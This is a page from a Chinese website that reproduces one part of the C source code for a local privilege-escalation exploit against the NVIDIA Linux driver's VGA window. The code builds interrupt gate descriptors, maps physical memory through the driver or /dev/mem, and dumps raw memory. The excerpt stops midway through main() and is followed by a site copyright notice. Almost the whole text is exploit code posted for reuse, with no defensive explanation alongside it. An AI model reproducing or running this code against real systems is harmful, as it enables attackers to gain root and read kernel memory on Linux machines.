NVIDIA Linux Driver VGA Window本地权限提升漏洞(6)

#define YES_PLEASE 3
#define PTR_LOW(x) ((unsigned long)(x) & 0xFFFF)
#define PTR_MIDDLE(x) (((unsigned long)(x) >> 16) & 0xFFFF)
#define PTR_HIGH(x) ((unsigned long)(x) >> 32)

#ifdef __x86_64__
#define __KERNEL_CS 0x10
#else
#define __KERNEL_CS 0x60
#endif

void dump_gate(gate_desc *gate)
{
#if 0
    uint16_t *p = (void *)gate;
    unsigned i;
    for (i = 0; i < sizeof(*gate) / sizeof(uint16_t); i++)
        printf("%04x\n", *p++);
#endif
}

void dump_bytes(void *desc)
{
    int i;
    for (i = 0; i < 16; ++i) {
        printf("%02x", ((char*)desc)[i]);
        if (i < 15 && (i % 4) == 3)
            printf(" ");
    }
    printf("\n");
}

static inline void pack_gate(gate_desc *gate, unsigned type, unsigned long func,
                             unsigned dpl, unsigned ist, unsigned seg)
{
    gate->offset_low = PTR_LOW(func);
    gate->offset_middle = PTR_MIDDLE(func);
    gate->segment = seg;
    gate->ist = ist;
    gate->p = 1;
    gate->dpl = dpl;
    gate->zero0 = 0;
    gate->type = type;
#ifdef __x86_64__
    gate->offset_high = PTR_HIGH(func);
    gate->zero1 = 0;
#endif
    dump_gate(gate);
}

// Test mode, not really an exploit, although it does
// show the option to forbid physical memory is useless
static int devmem_fd(void)
{
    int fd = open("/dev/mem", O_RDWR|O_SYNC);
    if (fd < 0)
        perror("/dev/mem");
    return fd;
}

void *xalloc(unsigned long len)
{
    void *ret = NULL;
    posix_memalign(&ret, 16, ((len+0xf)&~0xf) + 16);
    return ret;
}

void xfree(void *ptr)
{
    free((void*)((unsigned long)ptr & ~0xfL));
}

int main(int argc, char * argv[])
{
    volatile uint32_t *handle = NULL;
    long ret, i, found = 0;
    char *p;
    gate_desc gate, gate2[16/sizeof(gate_desc)];
    uint32_t buf[4];
    gate_desc *dp = (gate_desc*)buf;
    uint8_t data[256];
    uint64_t res = 0;

printf("[*] IDT offset at %#lx\n", getidt());

// syntax: --dumpmem BAR0, for debugging "cant find my kernel" issues as root
    if (argc > 2 && (!strcmp(argv[1], "-d") || !strcmp(argv[1], "--dumpmem"))) {
        res = strtoll(argv[2], NULL, 16);
        handle = nvidia_handle(devmem_fd(), res);

for (i = 0; i < 0x4000000; i += 16) {
            physread16(handle, i, (void*)data);
            write(2, data, 16);
        }
        return 0;
    } else if (argc > 1 && (res = strtoll(argv[1], NULL, 16))) {
        handle = nvidia_handle(devmem_fd(), res);
        if (!getuid()) {
            setgid(1000);
            setuid(1000);
        }
        if (handle == MAP_FAILED)
            return -1;
        printf("[*] Dry run with /dev/mem as uid %u gid %u...\n", getuid(), getgid());
    }

if ((p = strchr(argv[0], '/')))
        p++;
    else
        p = argv[0];
    strcpy(taskname, p);
    tasknamelen = strlen(taskname);

if (!handle || handle == MAP_FAILED) {
        uint64_t res;
        int fd = nvidia_fd(&res);
        printf("[*] Abusing nVidia...\n");
        handle = nvidia_handle(fd, res);
        if (!handle || handle == MAP_FAILED)
            return -1;
    }

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wypjzp.html